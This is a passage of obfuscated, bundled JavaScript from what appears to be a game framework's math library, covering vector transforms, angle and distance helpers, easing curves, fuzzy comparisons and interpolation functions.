_0x4ea1a5[0x9] * _0xdd4245 + _0x4ea1a5[0xd] * _0x59ff8e, this['z'] = _0x4ea1a5[0x2] * _0x387269 + _0x4ea1a5[0x6] * _0xbc3da6 + _0x4ea1a5[0xa] * _0xdd4245 + _0x4ea1a5[0xe] * _0x59ff8e, this['w'] = _0x4ea1a5[0x3] * _0x387269 + _0x4ea1a5[0x7] * _0xbc3da6 + _0x4ea1a5[0xb] * _0xdd4245 + _0x4ea1a5[0xf] * _0x59ff8e, this; }, 'transformQuat': function (_0x384517) { var _0x56547b = this['x'], _0x1ab666 = this['y'], _0x56f9ea = this['z'], _0x50d668 = _0x384517['x'], _0x306a7a = _0x384517['y'], _0x275c8b = _0x384517['z'], _0x43fdc1 = _0x384517['w'], _0x577359 = _0x43fdc1 * _0x56547b + _0x306a7a * _0x56f9ea - _0x275c8b * _0x1ab666, _0x5d19cd = _0x43fdc1 * _0x1ab666 + _0x275c8b * _0x56547b - _0x50d668 * _0x56f9ea, _0x1e9188 = _0x43fdc1 * _0x56f9ea + _0x50d668 * _0x1ab666 - _0x306a7a * _0x56547b, _0x3746f2 = -_0x50d668 * _0x56547b - _0x306a7a * _0x1ab666 - _0x275c8b * _0x56f9ea; return this['x'] = _0x577359 * _0x43fdc1 + _0x3746f2 * -_0x50d668 + _0x5d19cd * -_0x275c8b - _0x1e9188 * -_0x306a7a, this['y'] = _0x5d19cd * _0x43fdc1 + _0x3746f2 * -_0x306a7a + _0x1e9188 * -_0x50d668 - _0x577359 * -_0x275c8b, this['z'] = _0x1e9188 * _0x43fdc1 + _0x3746f2 * -_0x275c8b + _0x577359 * -_0x306a7a - _0x5d19cd * -_0x50d668, this; }, 'reset': function () { return this['x'] = 0x0, this['y'] = 0x0, this['z'] = 0x0, this['w'] = 0x0, this; } }); _0x207f24['prototype']['sub'] = _0x207f24['prototype']['subtract'], _0x207f24['prototype']['mul'] = _0x207f24['prototype']['multiply'], _0x207f24['prototype']['div'] = _0x207f24['prototype']['divide'], _0x207f24['prototype']['dist'] = _0x207f24['prototype']['distance'], _0x207f24['prototype']['distSq'] = _0x207f24['prototype']['distanceSq'], _0x207f24['prototype']['len'] = _0x207f24['prototype']['length'], _0x207f24['prototype']['lenSq'] = _0x207f24['prototype']['lengthSq'], _0x614e16['exports'] = _0x207f24; }, 0x1017: _0x2dd86a => { _0x2dd86a['exports'] = function (_0x461922, _0x15b827, _0x1bbc7d) { return Math['abs'](_0x461922 - _0x15b827) <= _0x1bbc7d; }; }, 0x20fd: _0x2ffad3 => { _0x2ffad3['exports'] = function (_0x40b50a, _0x26be59, _0x36325a) { var _0x392307 = _0x36325a - _0x26be59; return _0x26be59 + ((_0x40b50a - _0x26be59) % _0x392307 + _0x392307) % _0x392307; }; }, 0x190c: _0x176602 => { _0x176602['exports'] = function (_0x2ab4e9, _0x5f5a24, _0x36eb65, _0x14706b) { return Math['atan2'](_0x14706b - _0x5f5a24, _0x36eb65 - _0x2ab4e9); }; }, 0x2f8: _0x48c62b => { _0x48c62b['exports'] = function (_0x41ffd7, _0x55cd76) { return Math['atan2'](_0x55cd76['y'] - _0x41ffd7['y'], _0x55cd76['x'] - _0x41ffd7['x']); }; }, 0x1afd: _0x5ab0e9 => { _0x5ab0e9['exports'] = function (_0x5014a5, _0x1cd80f) { return Math['atan2'](_0x1cd80f['x'] - _0x5014a5['x'], _0x1cd80f['y'] - _0x5014a5['y']); }; }, 0x1b23: _0x45f05b => { _0x45f05b['exports'] = function (_0x1aeb7b, _0x4ed0ec, _0x443b72, _0x55c4f5) { return Math['atan2'](_0x443b72 - _0x1aeb7b, _0x55c4f5 - _0x4ed0ec); }; }, 0xd62: (_0x23b49f, _0x9e3d47, _0x18f90e) => { var _0x4f34ee = _0x18f90e(0x1d01); _0x23b49f['exports'] = function (_0xa45d71) { return _0xa45d71 > Math['PI'] && (_0xa45d71 -= _0x4f34ee['PI2']), Math['abs'](((_0xa45d71 + _0x4f34ee['TAU']) % _0x4f34ee['PI2'] - _0x4f34ee['PI2']) % _0x4f34ee['PI2']); }; }, 0x1afa: _0x5b7260 => { _0x5b7260['exports'] = function (_0x26b364) { return (_0x26b364 %= 0x2 * Math['PI']) >= 0x0 ? _0x26b364 : _0x26b364 + 0x2 * Math['PI']; }; }, 0xcc6: (_0x29ebda, _0x3a425c, _0x23b3e0) => { var _0x22a4db = _0x23b3e0(0x68); _0x29ebda['exports'] = function () { return _0x22a4db(-Math['PI'], Math['PI']); }; }, 0xabc: (_0x20d6fa, _0x58ca8b, _0x1dabc5) => { var _0x49d2fd = _0x1dabc5(0x68); _0x20d6fa['exports'] = function () { return _0x49d2fd(-0xb4, 0xb4); }; }, 0x3a8: (_0x212d7d, _0x595705, _0x5683fc) => { var _0x510bd9 = _0x5683fc(0x1afa); _0x212d7d['exports'] = function (_0x2fb1c8) { return _0x510bd9(_0x2fb1c8 + Math['PI']); }; }, 0x78f: (_0x3c7854, _0x110d92, _0x57d145) => { var _0x238cc7 = _0x57d145(0x1d01); _0x3c7854['exports'] = function (_0x236746, _0x53d31c, _0x571826) { return void 0x0 === _0x571826 && (_0x571826 = 0.05), _0x236746 === _0x53d31c || (Math['abs'](_0x53d31c - _0x236746) <= _0x571826 || Math['abs'](_0x53d31c - _0x236746) >= _0x238cc7['PI2'] - _0x571826 ? _0x236746 = _0x53d31c : (Math['abs'](_0x53d31c - _0x236746) > Math['PI'] && (_0x53d31c < _0x236746 ? _0x53d31c += _0x238cc7['PI2'] : _0x53d31c -= _0x238cc7['PI2']), _0x53d31c > _0x236746 ? _0x236746 += _0x571826 : _0x53d31c < _0x236746 && (_0x236746 -= _0x571826))), _0x236746; }; }, 0x1511: _0x2a62bf => { _0x2a62bf['exports'] = function (_0x22e0eb, _0x44861f) { var _0x43190a = _0x44861f - _0x22e0eb; return 0x0 === _0x43190a ? 0x0 : _0x43190a - 0x168 * Math['floor']((_0x43190a - -0xb4) / 0x168); }; }, 0xe6c: (_0x48554b, _0x5311ff, _0x446f09) => { var _0x273d80 = _0x446f09(0x20fd); _0x48554b['exports'] = function (_0x2e5933) { return _0x273d80(_0x2e5933, -Math['PI'], Math['PI']); }; }, 0xb04: (_0x1cb7a6, _0xbac0ef, _0x591614) => { var _0xf9ba2c = _0x591614(0x20fd); _0x1cb7a6['exports'] = function (_0x40a9ef) { return _0xf9ba2c(_0x40a9ef, -0xb4, 0xb4); }; }, 0x729: (_0x3309f5, _0x258e9a, _0x5eb05f) => { _0x3309f5['exports'] = { 'Between': _0x5eb05f(0x190c), 'BetweenPoints': _0x5eb05f(0x2f8), 'BetweenPointsY': _0x5eb05f(0x1afd), 'BetweenY': _0x5eb05f(0x1b23), 'CounterClockwise': _0x5eb05f(0xd62), 'Normalize': _0x5eb05f(0x1afa), 'Random': _0x5eb05f(0xcc6), 'RandomDegrees': _0x5eb05f(0xabc), 'Reverse': _0x5eb05f(0x3a8), 'RotateTo': _0x5eb05f(0x78f), 'ShortestBetween': _0x5eb05f(0x1511), 'Wrap': _0x5eb05f(0xe6c), 'WrapDegrees': _0x5eb05f(0xb04) }; }, 0x1d01: _0x25a7b7 => { var _0x2f1aa2 = { 'PI2': 0x2 * Math['PI'], 'TAU': 0.5 * Math['PI'], 'EPSILON': 0.000001, 'DEG_TO_RAD': Math['PI'] / 0xb4, 'RAD_TO_DEG': 0xb4 / Math['PI'], 'RND': null, 'MIN_SAFE_INTEGER': Number['MIN_SAFE_INTEGER'] || -0x1fffffffffffff, 'MAX_SAFE_INTEGER': Number['MAX_SAFE_INTEGER'] || 0x1fffffffffffff }; _0x25a7b7['exports'] = _0x2f1aa2; }, 0x5ee: _0x59a269 => { _0x59a269['exports'] = function (_0x48e06b, _0x1d459f, _0x39711a, _0x1255b4) { var _0xb8ea57 = _0x48e06b - _0x39711a, _0x4dd268 = _0x1d459f - _0x1255b4; return Math['sqrt'](_0xb8ea57 * _0xb8ea57 + _0x4dd268 * _0x4dd268); }; }, 0x14fc: _0x44aa23 => { _0x44aa23['exports'] = function (_0x9ea99d, _0x3eca59) { var _0x18a5a6 = _0x9ea99d['x'] - _0x3eca59['x'], _0x5b7db3 = _0x9ea99d['y'] - _0x3eca59['y']; return Math['sqrt'](_0x18a5a6 * _0x18a5a6 + _0x5b7db3 * _0x5b7db3); }; }, 0x114e: _0x3ea5d3 => { _0x3ea5d3['exports'] = function (_0x2f756, _0x420a1a) { var _0x5a91ba = _0x2f756['x'] - _0x420a1a['x'], _0x492b95 = _0x2f756['y'] - _0x420a1a['y']; return _0x5a91ba * _0x5a91ba + _0x492b95 * _0x492b95; }; }, 0x1109: _0x2d8717 => { _0x2d8717['exports'] = function (_0x42275d, _0x14dd6a, _0x469dfe, _0x4d6b6d) { return Math['max'](Math['abs'](_0x42275d - _0x469dfe), Math['abs'](_0x14dd6a - _0x4d6b6d)); }; }, 0x1e76: _0x5b387f => { _0x5b387f['exports'] = function (_0x58c92e, _0x54b975, _0x59baea, _0x293718, _0x238774) { return void 0x0 === _0x238774 && (_0x238774 = 0x2), Math['sqrt'](Math['pow'](_0x59baea - _0x58c92e, _0x238774) + Math['pow'](_0x293718 - _0x54b975, _0x238774)); }; }, 0x2062: _0x136a7b => { _0x136a7b['exports'] = function (_0x50a4d0, _0x63bd71, _0x3818e2, _0x4d71fd) { return Math['abs'](_0x50a4d0 - _0x3818e2) + Math['abs'](_0x63bd71 - _0x4d71fd); }; }, 0xecc: _0x34014e => { _0x34014e['exports'] = function (_0x3ce112, _0x214993, _0xddcac4, _0x174819) { var _0x4be64c = _0x3ce112 - _0xddcac4, _0x34c1e3 = _0x214993 - _0x174819; return _0x4be64c * _0x4be64c + _0x34c1e3 * _0x34c1e3; }; }, 0x18c2: (_0x1d8f8a, _0x1e323d, _0x4cec50) => { _0x1d8f8a['exports'] = { 'Between': _0x4cec50(0x5ee), 'BetweenPoints': _0x4cec50(0x14fc), 'BetweenPointsSquared': _0x4cec50(0x114e), 'Chebyshev': _0x4cec50(0x1109), 'Power': _0x4cec50(0x1e76), 'Snake': _0x4cec50(0x2062), 'Squared': _0x4cec50(0xecc) }; }, 0x1677: _0x2345d => { _0x2345d['exports'] = function (_0x5728bd, _0x565c74) { return void 0x0 === _0x565c74 && (_0x565c74 = 1.70158), _0x5728bd * _0x5728bd * ((_0x565c74 + 0x1) * _0x5728bd - _0x565c74); }; }, 0x183b: _0x5d85e0 => { _0x5d85e0['exports'] = function (_0x273e4d, _0xb6880f) { void 0x0 === _0xb6880f && (_0xb6880f = 1.70158); var _0x1d84ff = 1.525 * _0xb6880f; return (_0x273e4d *= 0x2) < 0x1 ? _0x273e4d * _0x273e4d * ((_0x1d84ff + 0x1) * _0x273e4d - _0x1d84ff) * 0.5 : 0.5 * ((_0x273e4d -= 0x2) * _0x273e4d * ((_0x1d84ff + 0x1) * _0x273e4d + _0x1d84ff) + 0x2); }; }, 0x238f: _0x16b380 => { _0x16b380['exports'] = function (_0x319d0f, _0x2da1f6) { return void 0x0 === _0x2da1f6 && (_0x2da1f6 = 1.70158), --_0x319d0f * _0x319d0f * ((_0x2da1f6 + 0x1) * _0x319d0f + _0x2da1f6) + 0x1; }; }, 0x134a: (_0x58cce8, _0x17147c, _0x50a687) => { _0x58cce8['exports'] = { 'In': _0x50a687(0x1677), 'Out': _0x50a687(0x238f), 'InOut': _0x50a687(0x183b) }; }, 0x21e5: _0x261242 => { _0x261242['exports'] = function (_0x2eff52) { return (_0x2eff52 = 0x1 - _0x2eff52) < 0x1 / 2.75 ? 0x1 - 7.5625 * _0x2eff52 * _0x2eff52 : _0x2eff52 < 0x2 / 2.75 ? 0x1 - (7.5625 * (_0x2eff52 -= 1.5 / 2.75) * _0x2eff52 + 0.75) : _0x2eff52 < 2.5 / 2.75 ? 0x1 - (7.5625 * (_0x2eff52 -= 2.25 / 2.75) * _0x2eff52 + 0.9375) : 0x1 - (7.5625 * (_0x2eff52 -= 2.625 / 2.75) * _0x2eff52 + 0.984375); }; }, 0x1229: _0x21a256 => { _0x21a256['exports'] = function (_0x1c619a) { var _0x23eab7 = !0x1; return _0x1c619a < 0.5 ? (_0x1c619a = 0x1 - 0x2 * _0x1c619a, _0x23eab7 = !0x0) : _0x1c619a = 0x2 * _0x1c619a - 0x1, _0x1c619a < 0x1 / 2.75 ? _0x1c619a *= 7.5625 * _0x1c619a : _0x1c619a = _0x1c619a < 0x2 / 2.75 ? 7.5625 * (_0x1c619a -= 1.5 / 2.75) * _0x1c619a + 0.75 : _0x1c619a < 2.5 / 2.75 ? 7.5625 * (_0x1c619a -= 2.25 / 2.75) * _0x1c619a + 0.9375 : 7.5625 * (_0x1c619a -= 2.625 / 2.75) * _0x1c619a + 0.984375, _0x23eab7 ? 0.5 * (0x1 - _0x1c619a) : 0.5 * _0x1c619a + 0.5; }; }, 0x1f8: _0x424380 => { _0x424380['exports'] = function (_0x232a23) { return _0x232a23 < 0x1 / 2.75 ? 7.5625 * _0x232a23 * _0x232a23 : _0x232a23 < 0x2 / 2.75 ? 7.5625 * (_0x232a23 -= 1.5 / 2.75) * _0x232a23 + 0.75 : _0x232a23 < 2.5 / 2.75 ? 7.5625 * (_0x232a23 -= 2.25 / 2.75) * _0x232a23 + 0.9375 : 7.5625 * (_0x232a23 -= 2.625 / 2.75) * _0x232a23 + 0.984375; }; }, 0x22a8: (_0x112aeb, _0x2724c7, _0x375b49) => { _0x112aeb['exports'] = { 'In': _0x375b49(0x21e5), 'Out': _0x375b49(0x1f8), 'InOut': _0x375b49(0x1229) }; }, 0xc62: _0xa7adc9 => { _0xa7adc9['exports'] = function (_0xcbed45) { return 0x1 - Math['sqrt'](0x1 - _0xcbed45 * _0xcbed45); }; }, 0xa43: _0x312ed2 => { _0x312ed2['exports'] = function (_0x200a0c) { return (_0x200a0c *= 0x2) < 0x1 ? -0.5 * (Math['sqrt'](0x1 - _0x200a0c * _0x200a0c) - 0x1) : 0.5 * (Math['sqrt'](0x1 - (_0x200a0c -= 0x2) * _0x200a0c) + 0x1); }; }, 0x545: _0x564ae0 => { _0x564ae0['exports'] = function (_0x554b28) { return Math['sqrt'](0x1 - --_0x554b28 * _0x554b28); }; }, 0x138e: (_0x2c86e2, _0x248286, _0x47acf5) => { _0x2c86e2['exports'] = { 'In': _0x47acf5(0xc62), 'Out': _0x47acf5(0x545), 'InOut': _0x47acf5(0xa43) }; }, 0x179e: _0x46feef => { _0x46feef['exports'] = function (_0x32374f) { return _0x32374f * _0x32374f * _0x32374f; }; }, 0x253b: _0x53ef9b => { _0x53ef9b['exports'] = function (_0x34a020) { return (_0x34a020 *= 0x2) < 0x1 ? 0.5 * _0x34a020 * _0x34a020 * _0x34a020 : 0.5 * ((_0x34a020 -= 0x2) * _0x34a020 * _0x34a020 + 0x2); }; }, 0x12e4: _0x200296 => { _0x200296['exports'] = function (_0x466d52) { return --_0x466d52 * _0x466d52 * _0x466d52 + 0x1; }; }, 0x36b: (_0x242c0e, _0x16c841, _0x2186e8) => { _0x242c0e['exports'] = { 'In': _0x2186e8(0x179e), 'Out': _0x2186e8(0x12e4), 'InOut': _0x2186e8(0x253b) }; }, 0x1dc3: _0x342f64 => { _0x342f64['exports'] = function (_0xdff02b, _0x2b0314, _0x33c3a4) { if (void 0x0 === _0x2b0314 && (_0x2b0314 = 0.1), void 0x0 === _0x33c3a4 && (_0x33c3a4 = 0.1), 0x0 === _0xdff02b) return 0x0; if (0x1 === _0xdff02b) return 0x1; var _0x284e80 = _0x33c3a4 / 0x4; return _0x2b0314 < 0x1 ? _0x2b0314 = 0x1 : _0x284e80 = _0x33c3a4 * Math['asin'](0x1 / _0x2b0314) / (0x2 * Math['PI']), -_0x2b0314 * Math['pow'](0x2, 0xa * (_0xdff02b -= 0x1)) * Math['sin']((_0xdff02b - _0x284e80) * (0x2 * Math['PI']) / _0x33c3a4); }; }, 0x1d0d: _0x2795dc => { _0x2795dc['exports'] = function (_0x5a6fe7, _0x28b5bd, _0x8531da) { if (void 0x0 === _0x28b5bd && (_0x28b5bd = 0.1), void 0x0 === _0x8531da && (_0x8531da = 0.1), 0x0 === _0x5a6fe7) return 0x0; if (0x1 === _0x5a6fe7) return 0x1; var _0x4c8b95 = _0x8531da / 0x4; return _0x28b5bd < 0x1 ? _0x28b5bd = 0x1 : _0x4c8b95 = _0x8531da * Math['asin'](0x1 / _0x28b5bd) / (0x2 * Math['PI']), (_0x5a6fe7 *= 0x2) < 0x1 ? _0x28b5bd * Math['pow'](0x2, 0xa * (_0x5a6fe7 -= 0x1)) * Math['sin']((_0x5a6fe7 - _0x4c8b95) * (0x2 * Math['PI']) / _0x8531da) * -0.5 : _0x28b5bd * Math['pow'](0x2, -0xa * (_0x5a6fe7 -= 0x1)) * Math['sin']((_0x5a6fe7 - _0x4c8b95) * (0x2 * Math['PI']) / _0x8531da) * 0.5 + 0x1; }; }, 0x1fb7: _0x2ad6a8 => { _0x2ad6a8['exports'] = function (_0x24ebb7, _0x5e71a0, _0x3af528) { if (void 0x0 === _0x5e71a0 && (_0x5e71a0 = 0.1), void 0x0 === _0x3af528 && (_0x3af528 = 0.1), 0x0 === _0x24ebb7) return 0x0; if (0x1 === _0x24ebb7) return 0x1; var _0x321976 = _0x3af528 / 0x4; return _0x5e71a0 < 0x1 ? _0x5e71a0 = 0x1 : _0x321976 = _0x3af528 * Math['asin'](0x1 / _0x5e71a0) / (0x2 * Math['PI']), _0x5e71a0 * Math['pow'](0x2, -0xa * _0x24ebb7) * Math['sin']((_0x24ebb7 - _0x321976) * (0x2 * Math['PI']) / _0x3af528) + 0x1; }; }, 0xb44: (_0xabdacc, _0xb1246a, _0x292d75) => { _0xabdacc['exports'] = { 'In': _0x292d75(0x1dc3), 'Out': _0x292d75(0x1fb7), 'InOut': _0x292d75(0x1d0d) }; }, 0x1550: _0x780c2f => { _0x780c2f['exports'] = function (_0x21670) { return Math['pow'](0x2, 0xa * (_0x21670 - 0x1)) - 0.001; }; }, 0xd85: _0x2fb0b6 => { _0x2fb0b6['exports'] = function (_0x2079ed) { return (_0x2079ed *= 0x2) < 0x1 ? 0.5 * Math['pow'](0x2, 0xa * (_0x2079ed - 0x1)) : 0.5 * (0x2 - Math['pow'](0x2, -0xa * (_0x2079ed - 0x1))); }; }, 0xa97: _0x513721 => { _0x513721['exports'] = function (_0x4b0b5f) { return 0x1 - Math['pow'](0x2, -0xa * _0x4b0b5f); }; }, 0x188f: (_0x1f5faa, _0x14382c, _0x5bd2c7) => { _0x1f5faa['exports'] = { 'In': _0x5bd2c7(0x1550), 'Out': _0x5bd2c7(0xa97), 'InOut': _0x5bd2c7(0xd85) }; }, 0x21a5: (_0x7c5ad7, _0xb2c97c, _0x370d53) => { _0x7c5ad7['exports'] = { 'Back': _0x370d53(0x134a), 'Bounce': _0x370d53(0x22a8), 'Circular': _0x370d53(0x138e), 'Cubic': _0x370d53(0x36b), 'Elastic': _0x370d53(0xb44), 'Expo': _0x370d53(0x188f), 'Linear': _0x370d53(0x1089), 'Quadratic': _0x370d53(0x18c5), 'Quartic': _0x370d53(0x2fa), 'Quintic': _0x370d53(0x159), 'Sine': _0x370d53(0x21fa), 'Stepped': _0x370d53(0x1b8b) }; }, 0x2e8: _0x67d56e => { _0x67d56e['exports'] = function (_0xfba6f7) { return _0xfba6f7; }; }, 0x1089: (_0x2f79ad, _0x460a6a, _0x231485) => { _0x2f79ad['exports'] = _0x231485(0x2e8); }, 0x2652: _0x53f8dc => { _0x53f8dc['exports'] = function (_0xafbbae) { return _0xafbbae * _0xafbbae; }; }, 0x1fe3: _0x1fe002 => { _0x1fe002['exports'] = function (_0x2c0d9a) { return (_0x2c0d9a *= 0x2) < 0x1 ? 0.5 * _0x2c0d9a * _0x2c0d9a : -0.5 * (--_0x2c0d9a * (_0x2c0d9a - 0x2) - 0x1); }; }, 0x17eb: _0x4ac907 => { _0x4ac907['exports'] = function (_0x4edc55) { return _0x4edc55 * (0x2 - _0x4edc55); }; }, 0x18c5: (_0x36e618, _0x3e5fd1, _0x4a5adb) => { _0x36e618['exports'] = { 'In': _0x4a5adb(0x2652), 'Out': _0x4a5adb(0x17eb), 'InOut': _0x4a5adb(0x1fe3) }; }, 0x1ca9: _0x3f1972 => { _0x3f1972['exports'] = function (_0x5c6d4f) { return _0x5c6d4f * _0x5c6d4f * _0x5c6d4f * _0x5c6d4f; }; }, 0x130e: _0x14fed7 => { _0x14fed7['exports'] = function (_0x7148c9) { return (_0x7148c9 *= 0x2) < 0x1 ? 0.5 * _0x7148c9 * _0x7148c9 * _0x7148c9 * _0x7148c9 : -0.5 * ((_0x7148c9 -= 0x2) * _0x7148c9 * _0x7148c9 * _0x7148c9 - 0x2); }; }, 0x2334: _0x4fcf5c => { _0x4fcf5c['exports'] = function (_0x555e9f) { return 0x1 - --_0x555e9f * _0x555e9f * _0x555e9f * _0x555e9f; }; }, 0x2fa: (_0x200994, _0x158094, _0x274f1f) => { _0x200994['exports'] = { 'In': _0x274f1f(0x1ca9), 'Out': _0x274f1f(0x2334), 'InOut': _0x274f1f(0x130e) }; }, 0x12f: _0x3c63de => { _0x3c63de['exports'] = function (_0x4f48dc) { return _0x4f48dc * _0x4f48dc * _0x4f48dc * _0x4f48dc * _0x4f48dc; }; }, 0x229: _0x711227 => { _0x711227['exports'] = function (_0xa38874) { return (_0xa38874 *= 0x2) < 0x1 ? 0.5 * _0xa38874 * _0xa38874 * _0xa38874 * _0xa38874 * _0xa38874 : 0.5 * ((_0xa38874 -= 0x2) * _0xa38874 * _0xa38874 * _0xa38874 * _0xa38874 + 0x2); }; }, 0x660: _0x4b439b => { _0x4b439b['exports'] = function (_0x148322) { return --_0x148322 * _0x148322 * _0x148322 * _0x148322 * _0x148322 + 0x1; }; }, 0x159: (_0x1532d9, _0x6808a5, _0x3ecda5) => { _0x1532d9['exports'] = { 'In': _0x3ecda5(0x12f), 'Out': _0x3ecda5(0x660), 'InOut': _0x3ecda5(0x229) }; }, 0x2107: _0x408264 => { _0x408264['exports'] = function (_0x425ca0) { return 0x0 === _0x425ca0 ? 0x0 : 0x1 === _0x425ca0 ? 0x1 : 0x1 - Math['cos'](_0x425ca0 * Math['PI'] / 0x2); }; }, 0x734: _0x242b29 => { _0x242b29['exports'] = function (_0x264381) { return 0x0 === _0x264381 ? 0x0 : 0x1 === _0x264381 ? 0x1 : 0.5 * (0x1 - Math['cos'](Math['PI'] * _0x264381)); }; }, 0x3de: _0x15960f => { _0x15960f['exports'] = function (_0x7ab899) { return 0x0 === _0x7ab899 ? 0x0 : 0x1 === _0x7ab899 ? 0x1 : Math['sin'](_0x7ab899 * Math['PI'] / 0x2); }; }, 0x21fa: (_0x41f7cc, _0x22180c, _0x8ddc10) => { _0x41f7cc['exports'] = { 'In': _0x8ddc10(0x2107), 'Out': _0x8ddc10(0x3de), 'InOut': _0x8ddc10(0x734) }; }, 0x1a59: _0x71a66 => { _0x71a66['exports'] = function (_0x42d690, _0x19f258) { return void 0x0 === _0x19f258 && (_0x19f258 = 0x1), _0x42d690 <= 0x0 ? 0x0 : _0x42d690 >= 0x1 ? 0x1 : 0x1 / _0x19f258 * (0x1 + (_0x19f258 * _0x42d690 | 0x0)); }; }, 0x1b8b: (_0x31cfd7, _0x559076, _0x12fc59) => { _0x31cfd7['exports'] = _0x12fc59(0x1a59); }, 0xc56: _0x2106b5 => { _0x2106b5['exports'] = function (_0x38ce5c, _0x3dbefe) { return void 0x0 === _0x3dbefe && (_0x3dbefe = 0.0001), Math['ceil'](_0x38ce5c - _0x3dbefe); }; }, 0xc: _0x4f0f8d => { _0x4f0f8d['exports'] = function (_0x5ab8ef, _0x2514c7, _0x5e3fff) { return void 0x0 === _0x5e3fff && (_0x5e3fff = 0.0001), Math['abs'](_0x5ab8ef - _0x2514c7) < _0x5e3fff; }; }, 0x52e: _0x143c17 => { _0x143c17['exports'] = function (_0x30291c, _0x3457ee) { return void 0x0 === _0x3457ee && (_0x3457ee = 0.0001), Math['floor'](_0x30291c + _0x3457ee); }; }, 0x1ccd: _0x57db8d => { _0x57db8d['exports'] = function (_0x50a2c3, _0x1d3e3b, _0x46b6b4) { return void 0x0 === _0x46b6b4 && (_0x46b6b4 = 0.0001), _0x50a2c3 > _0x1d3e3b - _0x46b6b4; }; }, 0xa3e: _0x1527f0 => { _0x1527f0['exports'] = function (_0x50c906, _0x1389f5, _0x6863ec) { return void 0x0 === _0x6863ec && (_0x6863ec = 0.0001), _0x50c906 < _0x1389f5 + _0x6863ec; }; }, 0x1ef7: (_0x1b61ef, _0x25a283, _0x20e4da) => { _0x1b61ef['exports'] = { 'Ceil': _0x20e4da(0xc56), 'Equal': _0x20e4da(0xc), 'Floor': _0x20e4da(0x52e), 'GreaterThan': _0x20e4da(0x1ccd), 'LessThan': _0x20e4da(0xa3e) }; }, 0x1243: (_0x3708a4, _0x390ff5, _0x3219a9) => { var _0x363643 = _0x3219a9(0x1d01), _0x3a56a2 = _0x3219a9(0x406), _0x47ae78 = { 'Angle': _0x3219a9(0x729), 'Distance': _0x3219a9(0x18c2), 'Easing': _0x3219a9(0x21a5), 'Fuzzy': _0x3219a9(0x1ef7), 'Interpolation': _0x3219a9(0x85c), 'Pow2': _0x3219a9(0x1ed9), 'Snap': _0x3219a9(0xf67), 'RandomDataGenerator': _0x3219a9(0x1b2d), 'Average': _0x3219a9(0xc40), 'Bernstein': _0x3219a9(0x311), 'Between': _0x3219a9(0x1b71), 'CatmullRom': _0x3219a9(0x30), 'CeilTo': _0x3219a9(0x13ab), 'Clamp': _0x3219a9(0xb63), 'DegToRad': _0x3219a9(0x1bed), 'Difference': _0x3219a9(0xb9f), 'Euler': _0x3219a9(0x83b), 'Factorial': _0x3219a9(0xf4c), 'FloatBetween': _0x3219a9(0x68), 'FloorTo': _0x3219a9(0x134d), 'FromPercent': _0x3219a9(0x613), 'GetSpeed': _0x3219a9(0x138d), 'IsEven': _0x3219a9(0xe76), 'IsEvenStrict': _0x3219a9(0x2274), 'Linear': _0x3219a9(0x6cf), 'LinearXY': _0x3219a9(0xd58), 'MaxAdd': _0x3219a9(0xe95), 'Median': _0x3219a9(0x2c), 'MinSub': _0x3219a9(0x1509), 'Percent': _0x3219a9(0x2189), 'RadToDeg': _0x3219a9(0x1070), 'RandomXY': _0x3219a9(0x6a9), 'RandomXYZ': _0x3219a9(0x19fa), 'RandomXYZW': _0x3219a9(0x7f5), 'Rotate': _0x3219a9(0x188b), 'RotateAround': _0x3219a9(0x2694), 'RotateAroundDistance': _0x3219a9(0x209c), 'RotateTo': _0x3219a9(0x1191), 'RoundAwayFromZero': _0x3219a9(0xfee), 'RoundTo': _0x3219a9(0x357), 'SinCosTableGenerator': _0x3219a9(0x1348), 'SmootherStep': _0x3219a9(0x116), 'SmoothStep': _0x3219a9(0xaad), 'ToXY': _0x3219a9(0xa3), 'TransformXY': _0x3219a9(0x1d84), 'Within': _0x3219a9(0x1017), 'Wrap': _0x3219a9(0x20fd), 'Vector2': _0x3219a9(0x9e1), 'Vector3': _0x3219a9(0x1639), 'Vector4': _0x3219a9(0x243f), 'Matrix3': _0x3219a9(0x865), 'Matrix4': _0x3219a9(0x25b4), 'Quaternion': _0x3219a9(0x174), 'RotateVec3': _0x3219a9(0x25a8) }; _0x47ae78 = _0x3a56a2(!0x1, _0x47ae78, _0x363643), _0x3708a4['exports'] = _0x47ae78; }, 0x668: (_0x352ea7, _0x4cbb02, _0xc35d5c) => { var _0x2fe70a = _0xc35d5c(0x311); _0x352ea7['exports'] = function (_0x45a1cb, _0x245ca1) { for (var _0x2698ed = 0x0, _0x4e41db = _0x45a1cb['length'] - 0x1, _0x4f54ac = 0x0; _0x4f54ac <= _0x4e41db; _0x4f54ac++)_0x2698ed += Math['pow'](0x1 - _0x245ca1, _0x4e41db - _0x4f54ac) * Math['pow'](_0x245ca1, _0x4f54ac) * _0x45a1cb[_0x4f54ac] * _0x2fe70a(_0x4e41db, _0x4f54ac); return _0x2698ed; }; }, 0x17d9: (_0x361a94, _0x43f8a2, _0x240829) => { var _0xe54d8d = _0x240829(0x30); _0x361a94['exports'] = function (_0x3dac83, _0x1190ff) { var _0x2ddc27 = _0x3dac83['length'] - 0x1, _0x5760f0 = _0x2ddc27 * _0x1190ff, _0x133a3c = Math['floor'](_0x5760f0); return _0x3dac83[0x0] === _0x3dac83[_0x2ddc27] ? (_0x1190ff < 0x0 && (_0x133a3c = Math['floor'](_0x5760f0 = _0x2ddc27 * (0x1 + _0x1190ff))), _0xe54d8d(_0x5760f0 - _0x133a3c, _0x3dac83[(_0x133a3c - 0x1 + _0x2ddc27) % _0x2ddc27], _0x3dac83[_0x133a3c], _0x3dac83[(_0x133a3c + 0x1) % _0x2ddc27], _0x3dac83[(_0x133a3c + 0x2) % _0x2ddc27])) : _0x1190ff < 0x0 ? _0x3dac83[0x0] - (_0xe54d8d(-_0x5760f0, _0x3dac83[0x0], _0x3dac83[0x0], _0x3dac83[0x1], _0x3dac83[0x1]) - _0x3dac83[0x0]) : _0x1190ff > 0x1 ? _0x3dac83[_0x2ddc27] - (_0xe54d8d(_0x5760f0 - _0x2ddc27, _0x3dac83[_0x2ddc27], _0x3dac83[_0x2ddc27], _0x3dac83[_0x2ddc27 - 0x1], _0x3dac83[_0x2ddc27 - 0x1]) - _0x3dac83[_0x2ddc27]) : _0xe54d8d(_0x5760f0 - _0x133a3c, _0x3dac83[_0x133a3c ? _0x133a3c - 0x1 : 0x0], _0x3dac83[_0x133a3c], _0x3dac83[_0x2ddc27 < _0x133a3c + 0x1 ? _0x2ddc27 : _0x133a3c + 0x1], _0x3dac83[_0x2ddc27 < _0x133a3c + 0x2 ? _0x2ddc27 : _0x133a3c + 0x2]); }; }, 0xfa2: _0x548176 => { _0x548176['exports'] = function 